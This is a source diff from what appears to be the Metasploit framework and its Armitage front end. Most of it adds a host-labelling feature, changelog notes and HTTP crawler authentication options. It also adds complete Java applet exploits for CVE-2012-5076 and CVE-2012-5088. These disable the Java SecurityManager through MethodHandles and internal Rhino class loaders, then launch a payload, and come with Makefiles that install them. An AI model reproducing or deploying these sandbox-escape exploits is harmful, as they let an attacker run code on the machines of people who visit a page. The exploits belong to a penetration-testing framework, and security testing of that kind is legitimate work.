byte[] raw = Base64.decode(data);
|
||||
|
||||
/* deserialize our notes data */
|
||||
ByteArrayInputStream store = new ByteArrayInputStream(raw);
|
||||
ObjectInputStream handle = new ObjectInputStream(store);
|
||||
Map temp = (Map)(handle.readObject());
|
||||
handle.close();
|
||||
store.close();
|
||||
|
||||
/* merge with our new map */
|
||||
labels.putAll(temp);
|
||||
}
|
||||
catch (Exception ex) {
|
||||
ex.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
protected void mergeLabels(Map l) {
|
||||
/* accept any label values and merge them into our global data set */
|
||||
Iterator i = l.entrySet().iterator();
|
||||
while (i.hasNext()) {
|
||||
Map.Entry entry = (Map.Entry)i.next();
|
||||
if ("".equals(entry.getValue())) {
|
||||
labels.remove(entry.getKey() + "");
|
||||
}
|
||||
else {
|
||||
labels.put(entry.getKey() + "", entry.getValue() + "");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* add labels to our hosts */
|
||||
public List addLabels(List rows) {
|
||||
if (labels.size() == 0)
|
||||
return rows;
|
||||
|
||||
Iterator i = rows.iterator();
|
||||
while (i.hasNext()) {
|
||||
Map entry = (Map)i.next();
|
||||
String address = (entry.containsKey("address") ? entry.get("address") : entry.get("host")) + "";
|
||||
if (labels.containsKey(address)) {
|
||||
entry.put("label", labels.get(address) + "");
|
||||
}
|
||||
else {
|
||||
entry.put("label", "");
|
||||
}
|
||||
}
|
||||
|
||||
return rows;
|
||||
}
|
||||
|
||||
public List filterByRoute(List rows, int max) {
|
||||
if (rFilter != null || oFilter != null) {
|
||||
if (rFilter != null || oFilter != null || lFilter != null) {
|
||||
Iterator i = rows.iterator();
|
||||
while (i.hasNext()) {
|
||||
Map entry = (Map)i.next();
|
||||
|
||||
/* make sure the address is within a route we care about */
|
||||
if (rFilter != null && entry.containsKey("address")) {
|
||||
if (!checkRoute(entry.get("address") + "")) {
|
||||
i.remove();
|
||||
|
@ -163,9 +246,26 @@ public class DatabaseImpl implements RpcConnection {
|
|||
}
|
||||
}
|
||||
|
||||
/* make sure the host is something we care about too */
|
||||
if (oFilter != null && entry.containsKey("os_name")) {
|
||||
if (!checkOS(entry.get("os_name") + ""))
|
||||
if (!checkOS(entry.get("os_name") + "")) {
|
||||
i.remove();
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
/* make sure the host has the right label */
|
||||
if (lFilter != null && entry.containsKey("address")) {
|
||||
if (!checkLabel(entry.get("address") + "")) {
|
||||
i.remove();
|
||||
continue;
|
||||
}
|
||||
}
|
||||
else if (lFilter != null && entry.containsKey("host")) {
|
||||
if (!checkLabel(entry.get("host") + "")) {
|
||||
i.remove();
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -180,6 +280,7 @@ public class DatabaseImpl implements RpcConnection {
|
|||
public void connect(String dbstring, String user, String password) throws Exception {
|
||||
db = DriverManager.getConnection(dbstring, user, password);
|
||||
setWorkspace("default");
|
||||
loadLabels();
|
||||
}
|
||||
|
||||
public Object execute(String methodName) throws IOException {
|
||||
|
@ -192,8 +293,8 @@ public class DatabaseImpl implements RpcConnection {
|
|||
/* this is an optimization. If we have a network or OS filter, we need to pull back all host/service records and
|
||||
filter them here. If we do not have these types of filters, then we can let the database do the heavy lifting
|
||||
and limit the size of the final result there. */
|
||||
int limit1 = rFilter == null && oFilter == null ? maxhosts : 30000;
|
||||
int limit2 = rFilter == null && oFilter == null ? maxservices : 100000;
|
||||
int limit1 = rFilter == null && oFilter == null && lFilter == null ? maxhosts : 30000;
|
||||
int limit2 = rFilter == null && oFilter == null && lFilter == null ? maxservices : 100000;
|
||||
|
||||
temp.put("db.creds", "SELECT DISTINCT creds.*, hosts.address as host, services.name as sname, services.port as port, services.proto as proto FROM creds, services, hosts WHERE services.id = creds.service_id AND hosts.id = services.host_id AND hosts.workspace_id = " + workspaceid);
|
||||
|
||||
|
@ -235,7 +336,7 @@ public class DatabaseImpl implements RpcConnection {
|
|||
result.put(methodName.substring(3), filterByRoute(executeQuery(query), maxservices));
|
||||
}
|
||||
else if (methodName.equals("db.hosts")) {
|
||||
result.put(methodName.substring(3), filterByRoute(executeQuery(query), maxhosts));
|
||||
result.put(methodName.substring(3), addLabels(filterByRoute(executeQuery(query), maxhosts)));
|
||||
}
|
||||
else {
|
||||
result.put(methodName.substring(3), executeQuery(query));
|
||||
|
@ -332,6 +433,7 @@ public class DatabaseImpl implements RpcConnection {
|
|||
|
||||
rFilter = null;
|
||||
oFilter = null;
|
||||
lFilter = null;
|
||||
|
||||
List hosts = new LinkedList();
|
||||
List srvcs = new LinkedList();
|
||||
|
@ -385,6 +487,11 @@ public class DatabaseImpl implements RpcConnection {
|
|||
oFilter = (values.get("os") + "").toLowerCase().split(",\\s*");
|
||||
}
|
||||
|
||||
/* label filter */
|
||||
if (values.containsKey("labels") && (values.get("labels") + "").length() > 0) {
|
||||
lFilter = (values.get("labels") + "").toLowerCase().split(",\\s*");
|
||||
}
|
||||
|
||||
if (hosts.size() == 0) {
|
||||
hFilter = null;
|
||||
}
|
||||
|
@ -406,6 +513,31 @@ public class DatabaseImpl implements RpcConnection {
|
|||
result.put("rows", new Integer(stmt.executeUpdate()));
|
||||
return result;
|
||||
}
|
||||
else if (methodName.equals("db.report_labels")) {
|
||||
/* merge out global label data */
|
||||
Map values = (Map)params[0];
|
||||
mergeLabels(values);
|
||||
|
||||
/* delete our saved label data */
|
||||
executeUpdate("DELETE FROM notes WHERE notes.ntype = 'armitage.labels'");
|
||||
|
||||
/* serialize our notes data */
|
||||
ByteArrayOutputStream store = new ByteArrayOutputStream(labels.size() * 128);
|
||||
ObjectOutputStream handle = new ObjectOutputStream(store);
|
||||
handle.writeObject(labels);
|
||||
handle.close();
|
||||
store.close();
|
||||
|
||||
String data = Base64.encode(store.toByteArray());
|
||||
|
||||
/* save our label data */
|
||||
PreparedStatement stmt = null;
|
||||
stmt = db.prepareStatement("INSERT INTO notes (ntype, data) VALUES ('armitage.labels', ?)");
|
||||
stmt.setString(1, data);
|
||||
stmt.executeUpdate();
|
||||
|
||||
return new HashMap();
|
||||
}
|
||||
else if (methodName.equals("db.report_host")) {
|
||||
Map values = (Map)params[0];
|
||||
String host = values.get("host") + "";
|
||||
|
|
|
@ -106,6 +106,8 @@ public class RpcCacheImpl implements Runnable {
|
|||
key.append(temp.get("ports"));
|
||||
key.append(";");
|
||||
key.append(temp.get("session"));
|
||||
key.append(";");
|
||||
key.append(temp.get("labels"));
|
||||
return key.toString();
|
||||
}
|
||||
|
||||
|
|
|
@ -52,7 +52,7 @@ public class NetworkTable extends JComponent implements ActionListener {
|
|||
public NetworkTable(Properties display) {
|
||||
this.display = display;
|
||||
|
||||
model = new GenericTableModel(new String[] { " ", "Address", "Description", "Pivot" }, "Address", 256);
|
||||
model = new GenericTableModel(new String[] { " ", "Address", "Label", "Description", "Pivot" }, "Address", 256);
|
||||
table = new ATable(model);
|
||||
TableRowSorter sorter = new TableRowSorter(model);
|
||||
sorter.toggleSortOrder(1);
|
||||
|
@ -79,12 +79,13 @@ public class NetworkTable extends JComponent implements ActionListener {
|
|||
};
|
||||
|
||||
sorter.setComparator(1, hostCompare);
|
||||
sorter.setComparator(3, hostCompare);
|
||||
sorter.setComparator(4, hostCompare);
|
||||
|
||||
table.setRowSorter(sorter);
|
||||
table.setColumnSelectionAllowed(false);
|
||||
|
||||
table.getColumn("Address").setPreferredWidth(125);
|
||||
table.getColumn("Label").setPreferredWidth(125);
|
||||
table.getColumn("Pivot").setPreferredWidth(125);
|
||||
table.getColumn(" ").setPreferredWidth(32);
|
||||
table.getColumn(" ").setMaxWidth(32);
|
||||
|
@ -95,7 +96,7 @@ public class NetworkTable extends JComponent implements ActionListener {
|
|||
public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int col) {
|
||||
JLabel component = (JLabel)parent.getTableCellRendererComponent(table, value, isSelected, false, row, col);
|
||||
|
||||
if (col == 3 && Boolean.TRUE.equals(model.getValueAt(table, row, "Active"))) {
|
||||
if (col == 4 && Boolean.TRUE.equals(model.getValueAt(table, row, "Active"))) {
|
||||
component.setFont(component.getFont().deriveFont(Font.BOLD));
|
||||
}
|
||||
else if (col == 1 && !"".equals(model.getValueAt(table, row, "Description"))) {
|
||||
|
@ -252,16 +253,17 @@ public class NetworkTable extends JComponent implements ActionListener {
|
|||
public void addActionForKeySetting(String key, String dvalue, Action action) {
|
||||
}
|
||||
|
||||
public Object addNode(String id, String label, Image image, String tooltip) {
|
||||
public Object addNode(String id, String label, String description, Image image, String tooltip) {
|
||||
if (id == null || label == null)
|
||||
return null;
|
||||
|
||||
HashMap map = new HashMap();
|
||||
map.put("Address", id);
|
||||
|
||||
if (label.indexOf(id) > -1)
|
||||
label = label.substring(id.length());
|
||||
map.put("Description", label);
|
||||
if (description.indexOf(id) > -1)
|
||||
description = description.substring(id.length());
|
||||
map.put("Label", label);
|
||||
map.put("Description", description);
|
||||
map.put("Tooltip", tooltip);
|
||||
map.put("Image", image);
|
||||
map.put(" ", tooltip);
|
||||
|
|
|
@ -26,6 +26,12 @@ public class ATable extends JTable {
|
|||
specialitems.add("WORDLIST");
|
||||
specialitems.add("SESSION");
|
||||
specialitems.add("REXE");
|
||||
specialitems.add("EXE::Custom");
|
||||
specialitems.add("EXE::Template");
|
||||
specialitems.add("USERNAME");
|
||||
specialitems.add("PASSWORD");
|
||||
specialitems.add("SMBUser");
|
||||
specialitems.add("SMBPass");
|
||||
|
||||
return new TableCellRenderer() {
|
||||
public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int column) {
|
||||
|
|
|
@ -54,6 +54,8 @@ public class ZoomableImage extends JLabel {
|
|||
check(ev);
|
||||
}
|
||||
});
|
||||
|
||||
setHorizontalAlignment(SwingConstants.CENTER);
|
||||
}
|
||||
|
||||
protected void updateIcon() {
|
||||
|
|
|
@ -1,6 +1,32 @@
|
|||
Armitage Changelog
|
||||
==================
|
||||
|
||||
23 Jan 13 (tested against msf 16351)
|
||||
---------
|
||||
- Added helpers to set EXE::Custom and EXE::Template options.
|
||||
- Fixed a bug displaying a Windows 8 icon for Windows 2008 hosts
|
||||
- Cleaned up Armitage -> SOCKS Proxy job management code. The code to
|
||||
check if a proxy server is up was deadlock prone. Removed it.
|
||||
- Starting SOCKS Proxy module now opens a tab displaying the module
|
||||
start process. An event is posted to the event log too.
|
||||
- Created an option helper to select credentials for SMBUser, SMBPass,
|
||||
USERNAME, and PASSWORD.
|
||||
- Added a feature to label hosts. A label will show up in its own column
|
||||
in table view or below all info in graph view. Any team member may
|
||||
change a label through [host] -> host -> Set Label. You may also use
|
||||
dynamic workspaces to show hosts with certain labels attached.
|
||||
- Fixed bad things happening when connecting Armitage to 'localhost' and
|
||||
not '127.0.0.1'.
|
||||
- Screenshots and Webcam shots are now centered in their tab.
|
||||
- Added an alternate .bat file to start msfrpcd on Windows in the
|
||||
Metasploit 4.5 installer's environment.
|
||||
- Added a color-style for [!] warning messages
|
||||
|
||||
Cortana Updates (for scripters)
|
||||
--------
|
||||
- &handler function now works as advertised.
|
||||
- Cortana now avoids use of core.setg
|
||||
|
||||
4 Jan 13 (tested against msf 16252)
|
||||
--------
|
||||
- Added a helper to set REXE option
|
||||
|
|
|
@ -0,0 +1,19 @@
|
|||
import java.security.AccessController;
|
||||
import java.security.PrivilegedExceptionAction;
|
||||
|
||||
public class B
|
||||
implements PrivilegedExceptionAction
|
||||
{
|
||||
public B()
|
||||
{
|
||||
try
|
||||
{
|
||||
AccessController.doPrivileged(this); } catch (Exception e) {
|
||||
}
|
||||
}
|
||||
|
||||
public Object run() {
|
||||
System.setSecurityManager(null);
|
||||
return new Object();
|
||||
}
|
||||
}
|
|
@ -0,0 +1,78 @@
|
|||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
import java.io.ObjectInputStream;
|
||||
import java.io.ObjectOutputStream;
|
||||
import metasploit.Payload;
|
||||
//import java.lang.Runtime;
|
||||
import java.applet.Applet;
|
||||
import java.lang.invoke.MethodHandle;
|
||||
import java.lang.invoke.MethodHandles;
|
||||
import java.lang.invoke.MethodType;
|
||||
import java.lang.reflect.Method;
|
||||
import com.sun.org.glassfish.external.statistics.impl.*;
|
||||
|
||||
public class Exploit extends Applet
|
||||
{
|
||||
public static MethodHandles.Lookup test0;
|
||||
|
||||
public Exploit()
|
||||
{
|
||||
}
|
||||
|
||||
|
||||
public void init()
|
||||
{
|
||||
try
|
||||
{
|
||||
|
||||
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
||||
byte[] buffer = new byte[8192];
|
||||
int length;
|
||||
|
||||
// read in the class file from the jar
|
||||
InputStream is = getClass().getResourceAsStream("B.class");
|
||||
// and write it out to the byte array stream
|
||||
while( ( length = is.read( buffer ) ) > 0 )
|
||||
bos.write( buffer, 0, length );
|
||||
// convert it to a simple byte array
|
||||
buffer = bos.toByteArray();
|
||||
|
||||
Class c = Class.forName("java.lang.invoke.MethodHandles");
|
||||
Method m = c.getMethod("lookup", new Class[0]);
|
||||
AverageRangeStatisticImpl Avrg = new AverageRangeStatisticImpl(0,0,0,"","","",0,0);
|
||||
MethodHandles.Lookup test = (MethodHandles.Lookup)Avrg.invoke(null, m, new Object[0]);
|
||||
|
||||
MethodType localMethodType0 = MethodType.methodType(Class.class, String.class);
|
||||
MethodHandle localMethodHandle0 = test.findStatic(Class.class, "forName", localMethodType0);
|
||||
Class localClass1 = (Class)localMethodHandle0.invokeWithArguments(new Object[] { "sun.org.mozilla.javascript.internal.Context" });
|
||||
Class localClass2 = (Class)localMethodHandle0.invokeWithArguments(new Object[] { "sun.org.mozilla.javascript.internal.GeneratedClassLoader" });
|
||||
|
||||
// Instance of sun.org.mozilla.javascript.internal.Context
|
||||
MethodType localMethodType1 = MethodType.methodType(Void.TYPE);
|
||||
MethodHandle localMethodHandle1 = test.findConstructor(localClass1, localMethodType1);
|
||||
Object localObject1 = localMethodHandle1.invokeWithArguments(new Object[0]);
|
||||
|
||||
// Context.createClassLoader
|
||||
MethodType localMethodType2 = MethodType.methodType(localClass2, ClassLoader.class);
|
||||
MethodHandle localMethodHandle2 = test.findVirtual(localClass1, "createClassLoader", localMethodType2);
|
||||
Object localObject2 = localMethodHandle2.invokeWithArguments(new Object[] { localObject1, null });
|
||||
|
||||
// GeneratedClassLoader.defineClass
|
||||
MethodType localMethodType3 = MethodType.methodType(Class.class, String.class, new Class[] { byte[].class });
|
||||
MethodHandle localMethodHandle3 = test.findVirtual(localClass2, "defineClass", localMethodType3);
|
||||
Class localClass3 = (Class)localMethodHandle3.invokeWithArguments(new Object[] { localObject2, null, buffer });
|
||||
|
||||
//New instance of the helper Class
|
||||
localClass3.newInstance();
|
||||
|
||||
Payload.main(null);
|
||||
//Runtime.getRuntime().exec("calc.exe");
|
||||
}
|
||||
catch(Throwable ex)
|
||||
{
|
||||
//ex.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
}
|
|
@ -0,0 +1,18 @@
|
|||
# rt.jar must be in the classpath!
|
||||
|
||||
CLASSES = \
|
||||
Exploit.java \
|
||||
B.java
|
||||
|
||||
.SUFFIXES: .java .class
|
||||
.java.class:
|
||||
javac -source 1.2 -target 1.2 -cp "../../../../data/java" $*.java
|
||||
|
||||
all: $(CLASSES:.java=.class)
|
||||
|
||||
install:
|
||||
mv Exploit.class ../../../../data/exploits/cve-2012-5076_2/
|
||||
mv B.class ../../../../data/exploits/cve-2012-5076_2/
|
||||
|
||||
clean:
|
||||
rm -rf *.class
|
|
@ -0,0 +1,19 @@
|
|||
import java.security.AccessController;
|
||||
import java.security.PrivilegedExceptionAction;
|
||||
|
||||
public class B
|
||||
implements PrivilegedExceptionAction
|
||||
{
|
||||
public B()
|
||||
{
|
||||
try
|
||||
{
|
||||
AccessController.doPrivileged(this); } catch (Exception e) {
|
||||
}
|
||||
}
|
||||
|
||||
public Object run() {
|
||||
System.setSecurityManager(null);
|
||||
return new Object();
|
||||
}
|
||||
}
|
|
@ -0,0 +1,66 @@
|
|||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
import java.io.ObjectInputStream;
|
||||
import java.io.ObjectOutputStream;
|
||||
import metasploit.Payload;
|
||||
//import java.lang.Runtime;
|
||||
import java.applet.Applet;
|
||||
import java.lang.invoke.MethodHandle;
|
||||
import java.lang.invoke.MethodHandles;
|
||||
import java.lang.invoke.MethodType;
|
||||
import java.lang.reflect.Method;
|
||||
|
||||
public class Exploit extends Applet
|
||||
{
|
||||
|
||||
public Exploit()
|
||||
{
|
||||
}
|
||||
|
||||
public void init()
|
||||
{
|
||||
try
|
||||
{
|
||||
|
||||
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
||||
byte[] buffer = new byte[8192];
|
||||
int length;
|
||||
|
||||
// read in the class file from the jar
|
||||
InputStream is = getClass().getResourceAsStream("B.class");
|
||||
// and write it out to the byte array stream
|
||||
while( ( length = is.read( buffer ) ) > 0 )
|
||||
bos.write( buffer, 0, length );
|
||||
// convert it to a simple byte array
|
||||
buffer = bos.toByteArray();
|
||||
|
||||
MethodHandles.Lookup localLookup = MethodHandles.publicLookup();
|
||||
MethodType localMethodType0 = MethodType.methodType(Class.class, String.class);
|
||||
MethodHandle localMethodHandle0 = localLookup.findStatic(Class.class, "forName", localMethodType0);
|
||||
Class localClass1 = (Class)localMethodHandle0.invokeWithArguments(new Object[] { "sun.org.mozilla.javascript.internal.Context" });
|
||||
Class localClass2 = (Class)localMethodHandle0.invokeWithArguments(new Object[] { "sun.org.mozilla.javascript.internal.GeneratedClassLoader" });
|
||||
MethodType localMethodType1 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { MethodType.class });
|
||||
MethodHandle localMethodHandle1 = localLookup.findVirtual(MethodHandles.Lookup.class, "findConstructor", localMethodType1);
|
||||
MethodType localMethodType2 = MethodType.methodType(Void.TYPE);
|
||||
MethodHandle localMethodHandle2 = (MethodHandle)localMethodHandle1.invokeWithArguments(new Object[] { localLookup, localClass1, localMethodType2 });
|
||||
Object localObject1 = localMethodHandle2.invokeWithArguments(new Object[0]);
|
||||
MethodType localMethodType3 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { String.class, MethodType.class });
|
||||
MethodHandle localMethodHandle3 = localLookup.findVirtual(MethodHandles.Lookup.class, "findVirtual", localMethodType3);
|
||||
MethodType localMethodType4 = MethodType.methodType(localClass2, ClassLoader.class);
|
||||
MethodHandle localMethodHandle4 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass1, "createClassLoader", localMethodType4 });
|
||||
Object localObject2 = localMethodHandle4.invokeWithArguments(new Object[] { localObject1, null });
|
||||
MethodType localMethodType5 = MethodType.methodType(Class.class, String.class, new Class[] { byte[].class });
|
||||
MethodHandle localMethodHandle5 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass2,"defineClass", localMethodType5 });
|
||||
Class localClass3 = (Class)localMethodHandle5.invokeWithArguments(new Object[] { localObject2, null, buffer });
|
||||
localClass3.newInstance();
|
||||
Payload.main(null);
|
||||
//Runtime.getRuntime().exec("calc.exe");
|
||||
}
|
||||
catch(Throwable ex)
|
||||
{
|
||||
//ex.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
}
|
|
@ -0,0 +1,16 @@
|
|||
CLASSES = \
|
||||
Exploit.java \
|
||||
B.java
|
||||
|
||||
.SUFFIXES: .java .class
|
||||
.java.class:
|
||||
javac -source 1.2 -target 1.2 -cp "../../../../data/java" $*.java
|
||||
|
||||
all: $(CLASSES:.java=.class)
|
||||
|
||||
install:
|
||||
mv Exploit.class ../../../../data/exploits/cve-2012-5088/
|
||||
mv B.class ../../../../data/exploits/cve-2012-5088/
|
||||
|
||||
clean:
|
||||
rm -rf *.class
|
|
@ -260,7 +260,8 @@ public abstract class RpcConnection {
|
|||
// Don't fork cause we'll check if it dies
|
||||
String rpcType = "Basic";
|
||||
java.util.List args = new java.util.ArrayList(java.util.Arrays.asList(new String[]{
|
||||
"msfrpcd","-f","-P",defaultPass,"-t","Msg","-U",defaultUser,"-a","127.0.0.1"}));
|
||||
"msfrpcd","-f","-P",defaultPass,"-t","Msg","-U",defaultUser,"-a","127.0.0.1",
|
||||
"-p",Integer.toString(defaultPort)}));
|
||||
if(!defaultSsl)
|
||||
args.add("-S");
|
||||
if(disableDb)
|
||||
|
|
|
@ -188,7 +188,9 @@ module Anemone
|
|||
context,
|
||||
url.scheme == "https",
|
||||
'SSLv23',
|
||||
@opts[:proxies]
|
||||
@opts[:proxies],
|
||||
@opts[:username],
|
||||
@opts[:password]
|
||||
)
|
||||
|
||||
conn.set_config(
|
||||
|
|
|
@ -22,7 +22,9 @@ module Auxiliary::HttpCrawler
|
|||
Opt::Proxies,
|
||||
OptInt.new('MAX_PAGES', [ true, 'The maximum number of pages to crawl per URL', 500]),
|
||||
OptInt.new('MAX_MINUTES', [ true, 'The maximum number of minutes to spend on each URL', 5]),
|
||||
OptInt.new('MAX_THREADS', [ true, 'The maximum number of concurrent requests', 4])
|
||||
OptInt.new('MAX_THREADS', [ true, 'The maximum number of concurrent requests', 4]),
|
||||
OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication']),
|
||||
OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication'])
|
||||
], self.class
|
||||
)
|
||||
|
||||
|
@ -34,8 +36,6 @@ module Auxiliary::HttpCrawler
|
|||
OptString.new('UserAgent', [true, 'The User-Agent header to use for all requests',
|
||||
"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
|
||||
]),
|
||||
OptString.new('BasicAuthUser', [false, 'The HTTP username to specify for basic authentication']),
|
||||
OptString.new('BasicAuthPass', [false, 'The HTTP password to specify for basic authentication']),
|
||||
OptString.new('HTTPAdditionalHeaders', [false, "A list of additional headers to send (separated by \\x01)"]),
|
||||
OptString.new('HTTPCookie', [false, "A HTTP cookie header to send with each request"]),
|
||||
OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', false]),
|
||||
|
@ -118,8 +118,9 @@ module Auxiliary::HttpCrawler
|
|||
:info => ""
|
||||
})
|
||||
|
||||
if datastore['BasicAuthUser']
|
||||
t[:http_basic_auth] = [ "#{datastore['BasicAuthUser']}:#{datastore['BasicAuthPass']}" ].pack("m*").gsub(/\s+/, '')
|
||||
if datastore['USERNAME'] and datastore['USERNAME'] != ''
|
||||
t[:username] = datastore['USERNAME'].to_s
|
||||
t[:password] = datastore['PASSWORD'].to_s
|
||||
end
|
||||
|
||||
if datastore['HTTPCookie']
|
||||
|
@ -278,9 +279,8 @@ module Auxiliary::HttpCrawler
|
|||
opts[:cookies] = t[:cookies]
|
||||
end
|
||||
|
||||
if t[:http_basic_auth]
|
||||
opts[:http_basic_auth] = t[:http_basic_auth]
|
||||
end
|
||||
opts[:username] = t[:username] || ''
|
||||
opts[:password] =t[:password] || ''
|
||||
|
||||
opts
|
||||
end
|
||||
|
|
|
@ -250,7 +250,9 @@ module Auxiliary::Web
|
|||
|
||||
if !(payload = opts[:payload])
|
||||
if payloads
|
||||
payload = payloads.select{ |p| element.altered_value.include?( p ) }.first
|
||||
payload = payloads.select { |p|
|
||||
element.altered_value.include?( p )
|
||||
}.sort_by { |p| p.size }.last
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -101,7 +101,7 @@ module Analysis::Differential
|
|||
# save the response and some data for analysis
|
||||
responses[:good][elem.altered] << {
|
||||
'res' => res,
|
||||
'elem' => elem
|
||||
'elem' => elem.dup
|
||||
}
|
||||
end
|
||||
end
|
||||
|
@ -122,8 +122,7 @@ module Analysis::Differential
|
|||
http.if_not_custom_404( action, res['res'].body ) do
|
||||
# if this isn't a custom 404 page then it means that
|
||||
# the element is vulnerable, so go ahead and log the issue
|
||||
fuzzer.process_vulnerability( res['elem'], 'Manipulatable responses.',
|
||||
:payload => res['elem'].altered_value )
|
||||
fuzzer.process_vulnerability( res['elem'], 'Boolean manipulation.' )
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -54,7 +54,8 @@ module Analysis::Timing
|
|||
timeout = opts[:delay]
|
||||
|
||||
seed = p.altered_value.dup
|
||||
payload = fuzzer.payloads.select{ |pl| seed.include?( pl ) }.first
|
||||
payload = fuzzer.payloads.select{ |pl| seed.include?( pl ) }.
|
||||
sort_by { |p2| p2.size }.last
|
||||
|
||||
# 1st pass, make sure the webapp is responsive
|
||||
if_responsive do
|
||||
|
|
|
@ -10,6 +10,7 @@ require 'uri'
|
|||
module Msf
|
||||
class Auxiliary::Web::HTTP
|
||||
|
||||
|
||||
class Request
|
||||
attr_accessor :url
|
||||
attr_reader :opts
|
||||
|
@ -69,6 +70,7 @@ class Auxiliary::Web::HTTP
|
|||
attr_reader :framework
|
||||
|
||||
attr_accessor :redirect_limit
|
||||
attr_accessor :username , :password
|
||||
|
||||
def initialize( opts = {} )
|
||||
@opts = opts.dup
|
||||
|
@ -84,8 +86,8 @@ class Auxiliary::Web::HTTP
|
|||
|
||||
@request_opts = {}
|
||||
if opts[:auth].is_a? Hash
|
||||
@request_opts['basic_auth'] = [ opts[:auth][:user].to_s + ':' +
|
||||
opts[:auth][:password] ]. pack( 'm*' ).gsub( /\s+/, '' )
|
||||
@username = opts[:auth][:user].to_s
|
||||
@password = opts[:auth][:password].to_s
|
||||
end
|
||||
|
||||
self.redirect_limit = opts[:redirect_limit] || 20
|
||||
|
@ -105,7 +107,9 @@ class Auxiliary::Web::HTTP
|
|||
opts[:target].port,
|
||||
{},
|
||||
opts[:target].ssl,
|
||||
'SSLv23'
|
||||
'SSLv23',
|
||||
username,
|
||||
password
|
||||
)
|
||||
|
||||
c.set_config({
|
||||
|
@ -120,10 +124,15 @@ class Auxiliary::Web::HTTP
|
|||
|
||||
tl = []
|
||||
loop do
|
||||
# Spawn threads for each host
|
||||
while tl.size <= (opts[:max_threads] || 5) && !@queue.empty? && (req = @queue.pop)
|
||||
tl << framework.threads.spawn( "#{self.class.name} - #{req})", false, req ) do |request|
|
||||
request.handle_response request( request.url, request.opts )
|
||||
# Keep callback failures isolated.
|
||||
begin
|
||||
request.handle_response request( request.url, request.opts )
|
||||
rescue => e
|
||||
elog e.to_s
|
||||
e.backtrace.each { |l| elog l }
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -261,10 +270,12 @@ class Auxiliary::Web::HTTP
|
|||
end
|
||||
|
||||
def _request( url, opts = {} )
|
||||
body = opts[:body]
|
||||
body = opts[:body]
|
||||
timeout = opts[:timeout] || 10
|
||||
method = opts[:method].to_s.upcase || 'GET'
|
||||
url = url.is_a?( URI ) ? url : URI( url.to_s )
|
||||
method = opts[:method].to_s.upcase || 'GET'
|
||||
url = url.is_a?( URI ) ? url : URI( url.to_s )
|
||||
|
||||
rex_overrides = opts.delete( :rex ) || {}
|
||||
|
||||
param_opts = {}
|
||||
|
||||
|
@ -280,18 +291,28 @@ class Auxiliary::Web::HTTP
|
|||
end
|
||||
|
||||
opts = @request_opts.merge( param_opts ).merge(
|
||||
'uri' => url.path || '/',
|
||||
'method' => method,
|
||||
'uri' => url.path || '/',
|
||||
'method' => method,
|
||||
'headers' => headers.merge( opts[:headers] || {} )
|
||||
)
|
||||
# Allow for direct rex overrides
|
||||
).merge( rex_overrides )
|
||||
|
||||
opts['data'] = body if body
|
||||
|
||||
c = connect
|
||||
if opts['username'] and opts['username'] != ''
|
||||
c.username = opts['username'].to_s
|
||||
c.password = opts['password'].to_s
|
||||
end
|
||||
Response.from_rex_response c.send_recv( c.request_cgi( opts ), timeout )
|
||||
rescue ::Timeout::Error
|
||||
Response.timed_out
|
||||
rescue ::Errno::EPIPE, ::Errno::ECONNRESET, Rex::ConnectionTimeout
|
||||
#rescue ::Errno::EPIPE, ::Errno::ECONNRESET, Rex::ConnectionTimeout
|
||||
# This is bad but we can't anticipate the gazilion different types of network
|
||||
# i/o errors between Rex and Errno.
|
||||
rescue => e
|
||||
elog e.to_s
|
||||
e.backtrace.each { |l| elog l }
|
||||
Response.empty
|
||||
end
|
||||
|
||||
|
|
|
@ -71,7 +71,7 @@ module Auxiliary::WmapModule
|
|||
else
|
||||
res << datastore['VHOST']
|
||||
end
|
||||
res << ":" + wmap_target_port
|
||||
res << ":" + wmap_target_port.to_s
|
||||
res
|
||||
end
|
||||
|
||||
|
|
|
@ -679,8 +679,8 @@ class DBManager
|
|||
# In the case of multi handler we cannot yet determine the true
|
||||
# exploit responsible. But we can at least show the parent versus
|
||||
# just the generic handler:
|
||||
if session and session.via_exploit == "exploit/multi/handler"
|
||||
sess_data[:via_exploit] = sess_data[:datastore]['ParentModule']
|
||||
if session and session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule']
|
||||
sess_data[:via_exploit] = sess_data[:datastore]['ParentModule']
|
||||
end
|
||||
|
||||
s = ::Mdm::Session.new(sess_data)
|
||||
|
@ -696,9 +696,9 @@ class DBManager
|
|||
|
||||
mod = framework.modules.create(session.via_exploit)
|
||||
|
||||
if session.via_exploit == "exploit/multi/handler"
|
||||
mod_fullname = sess_data[:datastore]['ParentModule']
|
||||
mod_name = ::Mdm::ModuleDetail.find_by_fullname(mod_fullname).name
|
||||
if session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule']
|
||||
mod_fullname = sess_data[:datastore]['ParentModule']
|
||||
mod_name = ::Mdm::ModuleDetail.find_by_fullname(mod_fullname).name
|
||||
else
|
||||
mod_name = mod.name
|
||||
mod_fullname = mod.fullname
|
||||
|
@ -720,7 +720,7 @@ class DBManager
|
|||
|
